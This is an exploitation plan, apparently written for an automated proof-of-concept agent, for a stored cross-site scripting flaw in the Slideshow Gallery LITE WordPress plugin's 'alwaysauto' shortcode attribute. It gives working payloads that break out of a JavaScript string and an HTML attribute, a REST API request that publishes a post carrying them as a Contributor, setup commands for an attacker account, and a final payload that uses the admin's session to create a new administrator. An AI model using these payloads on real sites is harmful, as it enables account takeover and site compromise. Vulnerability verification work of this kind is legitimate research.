Exploitation Research Plan: CVE-2026-2021 (Slideshow Gallery LITE)

1. Vulnerability Summary

The Slideshow Gallery LITE plugin (versions <= 1.8.5) is vulnerable to Authenticated Stored Cross-Site Scripting (XSS). The vulnerability exists in the handling of the alwaysauto attribute within the [tribulant_slideshow] (and the alias [slideshow]) shortcode. Authenticated users with Contributor permissions or higher can inject malicious scripts into the alwaysauto attribute. Because this attribute is rendered into the page source without sufficient sanitization or output escaping (likely via esc_js() or esc_attr()), the script executes in the context of any user viewing the page, including administrators.

2. Attack Vector Analysis

• Shortcode: [tribulant_slideshow] or [slideshow]
• Vulnerable Attribute: alwaysauto
• Authentication Level: Contributor+ (capability edit_posts is required to create/edit posts where shortcodes are processed).
• Preconditions: The plugin must be active. A Contributor must be able to create or edit a post/page.
• Endpoint: Post creation/edit endpoint (/wp-admin/post.php or /wp-json/wp/v2/posts).

3. Code Flow

1. Registration: In slideshow-gallery.php, the shortcode is registered in the __construct method:

   add_shortcode('slideshow', array($this, 'embed')); 
   add_shortcode('tribulant_slideshow', array($this, 'embed'));
   

2. Processing: When a post containing the shortcode is rendered, the embed() method in the SlideshowGallery class is called.
3. Attribute Extraction: The method uses shortcode_atts() to parse user-supplied attributes, including alwaysauto.
4. Rendering (The Sink): The alwaysauto value is passed into a rendering context (likely a view file or an inline script block). Based on the vulnerability description, it is rendered unsanitized. It is often embedded within a JavaScript configuration object that initializes the gallery, such as:

   var slideshow_options = {
       // ...
       "alwaysauto": "USER_INPUT_HERE",
       // ...
   };
   

   If USER_INPUT_HERE is not escaped with esc_js(), an attacker can break out of the string and execute arbitrary code.

4. Nonce Acquisition Strategy

This vulnerability is triggered by inserting a shortcode into a post. No plugin-specific AJAX nonce is required to exploit this XSS. The attacker only needs the standard WordPress nonces required for post creation/editing:

1. Login as a Contributor.
2. Navigate to wp-admin/post-new.php.
3. Extract the _wpnonce from the form (for traditional POST) or use the REST API nonce wp-auth-check if using the block editor.

Note: Since the PoC agent can use the block editor or the classic editor, the simplest way is to use the REST API to create a post, which requires the wp-rest nonce usually found in window.wpApiSettings.nonce.

5. Exploitation Strategy

Step 1: Login and Post Creation

The goal is to create a post containing the malicious shortcode.

HTTP Request (REST API - recommended for automation):

• Method: POST
• URL: /wp-json/wp/v2/posts
• Headers:
  • Content-Type: application/json
  • X-WP-Nonce: [REST_NONCE]
• Payload:

  {
      "title": "XSS Test",
      "content": "[tribulant_slideshow alwaysauto='\"});alert(document.domain);var+x=({ \"test\":\"']",
      "status": "publish"
  }
  

  Note: If Contributor cannot 'publish', set status to 'pending' and the admin will view it for approval, triggering the XSS.

Step 2: Alternative Payload (HTML Attribute Breakout)

If the attribute is rendered directly in an HTML tag:

• Payload: [tribulant_slideshow alwaysauto='"><script>alert(window.origin)</script>']

Step 3: Triggering

Navigate to the URL of the newly created post (or the preview URL if pending) as an Administrator.

6. Test Data Setup

1. User Creation: Create a user with the contributor role.
   • wp user create attacker attacker@example.com --role=contributor --user_pass=password123
2. Plugin Activation: Ensure slideshow-gallery is active.
   • wp plugin activate slideshow-gallery

7. Expected Results

• When viewing the post, the browser should execute the injected JavaScript (e.g., show an alert box with the domain).
• Looking at the page source, the alwaysauto value should appear unescaped, having broken out of its intended context (either a JS string or an HTML attribute).

8. Verification Steps

1. Manual Inspection:
   Use the browser_navigate tool to view the post and browser_eval to check for a global variable or evidence of execution.

   // Check if the script executed (if using a marker instead of alert)
   browser_eval("window.xss_executed = true;")
   

2. Source Code Check:
   Check the rendered HTML using http_request (GET) and search for the payload string.

   # Look for the unescaped breakout
   grep -C 5 "alwaysauto" response_body.html
   

9. Alternative Approaches

If the alwaysauto attribute is not rendered in the frontend but in an admin-only view:

1. Identify if the plugin has an admin "Manage Slides" or "Settings" page that renders existing shortcodes or gallery previews.
2. Use a payload designed to exfiltrate the administrator's session cookies or create a new admin user:
   • Payload: [tribulant_slideshow alwaysauto='\"});fetch(\"/wp-admin/user-new.php\").then(r=>r.text()).then(t=>{/*CSRF logic to create user*/});//']